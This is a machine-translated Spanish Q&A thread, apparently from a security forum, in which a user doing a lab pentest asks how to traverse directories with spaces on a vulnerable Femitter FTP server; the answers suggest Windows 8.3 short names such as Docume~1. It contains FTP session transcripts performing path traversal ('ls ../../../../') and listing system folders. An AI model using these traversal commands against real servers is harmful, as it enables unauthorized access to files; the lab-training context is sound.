Ataque transversal del directorio FTP en directorios que contienen espacios en blanco

15

Estoy llevando a cabo un pentest sancionado en un entorno de referencia cerrado, y luché por un problema aparentemente simple, que actualmente no puedo resolver.

Al intentar ejecutar un ataque transversal del directorio contra un servidor FTP Fermitter vulnerable que se ejecuta en el sistema operativo MS Windows, es posible hacer una LISTA en la raíz del sistema (las direcciones y las listas de contenido se modifican aquí solo como referencia):

# ftp 192.168.13.22
Connected to 192.168.13.22.
220 Femitter FTP Server ready.
Name (192.168.13.22:root): 
331 Password required for root.
Password:
230 User root logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls ../../../../
200 Port command successful.
150 Opening data connection for directory list.
-rwxrwxrwx   1 ftp      ftp            0 Sep 23  2015 AUTOEXEC.BAT
-rw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 CONFIG.SYS
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 Documents and Settings
dr--r--r--   1 ftp      ftp            0 Sep 23  2015 Program Files
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 WINDOWS
226 File sent ok

Sin embargo, si deseo enumerar el contenido de una carpeta que contiene espacios en blanco como Documents and settings, no puedo enumerar el contenido del directorio debido a que se ignoran los espacios en blanco.

ftp> ls ../../../../documents and settings/
usage: ls remote-directory local-file
ftp> ls ../../../../documents\ and\ settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls ../../../../documents%20and%20settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents%20and%20settings not found
226 File sent ok
ftp> ls ../../../../'documents and settings'/
usage: ls remote-directory local-file
ftp> ls ../../../../"documents and settings"/
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls "../../../../documents and settings/"
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok

Ya intenté usar diferentes clientes FTP (CLI y GUI, en Linux y Windows) e ignoran los espacios en blanco o no permiten el recorrido del directorio.

También probé la secuencia de comandos del ataque en Python usando al principio sockets sin procesar y luego ftplib para enviar los comandos en formato HEX directamente al servidor FTP, pero sin éxito.

Buscar en Google durante un par de horas no dio una solución de trabajo (sí, había muchas opciones, que no funcionaron), es por eso que hay alguien aquí, que ha tenido el mismo problema. Es bastante seguro que esta no es la primera vez que se necesita un recorrido de directorio con espacios en blanco.

Bloqueo
fuente
La distinción entre mayúsculas y minúsculas parece ser irrelevante para los clientes FTP. Al menos, el cliente FTP de GNU / Linux enumera directorios que ignoran las mayúsculas y minúsculas.
@lockout: la distinción entre mayúsculas y minúsculas es algo del lado del servidor y no del cliente. Los clientes enumeran los datos de la misma manera que el servidor los envía y no cambia el caso.
Steffen Ullrich
1
Prueba también C: \ Docume ~ 1 \.
Perro come gato mundo
1
Intente escapar de los espacios con \o citando la cadena de directorio
DavidPostill
1
Estoy feliz de que funcionó para ti @lockout. Como te has tomado la molestia de responder a tu pregunta, me parece bien que la aceptes como respuesta. Gracias por acreditarme.
Perro come gato mundo

Respuestas:

16

Solución sugerida por @Dogeatcatworld para usar la notación corta del directorio de MS Windows como C:\Docume~1\.

ftp> ls ../../../../Docume~1/
200 Port command successful.
150 Opening data connection for directory list.
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 .
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 ..
drw-rw-rw-   1 ftp      ftp            0 Sep 26  2015 Administrateur
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 All Users
226 File sent ok

Un artículo realmente bueno de MS Knowledge Base explica la notación de directorio 8.3: Cómo Windows genera nombres de archivo 8.3 a partir de nombres de archivo largos

Bloqueo
fuente
2
OSCP ya veo. Para agregar a su sugerencia, para directorios cortos, como "Todos los usuarios", suelte el espacio y use "AllUse ~ 1". ¿Encontró una manera de montar el FTP para navegar de forma interactiva, o acabó descargando archivos uno por uno?
n00b
1

El "nombre corto" es realmente la antigua convención de nomenclatura de DOS 8.3, por lo que todos los directorios serán las primeras 6 letras seguidas de ~ 1 suponiendo que solo coincida un nombre, por ejemplo:

C: \ ABCDEF ~ 1 - C: \ ABCDEFG SOY DIRECTORIO
C: \ BCDEFG ~ 1 - C: \ BCDEFGHIJKL M Otro directorio

Aquí está la única excepción:

C: \ ABCDEF ~ 1 - C: \ ABCDEFG SOY DIRECTORIO
C: \ ABCDEF ~ 2 - C: \ ABCDEFGHI Directorio también

Fuente: ¿Cómo puedo encontrar la ruta corta de un directorio / archivo de Windows?

madsport
fuente
0

Ftp no usa la codificación de URL, por lo que% xx no funcionará a menos que esté usando ftp en un navegador que pueda traducirlo por usted.

Intente usar comillas alrededor, es decir: ls "../../some dir"

Wireghoul
fuente
1
Hola, si observa los intentos que se intentaron para atravesar el directorio, verá que intenté varias comillas: comillas simples, comillas dobles y tick atrás. No funcionaron, como se representa en la lista de salida FTP. Usar% 20 fue solo para experimentar si eso funcionaría, debido a los intentos desesperados de probar todas las opciones. Por supuesto, la codificación% funciona en navegadores y clientes FTP capaces de interpretarlos.
cierre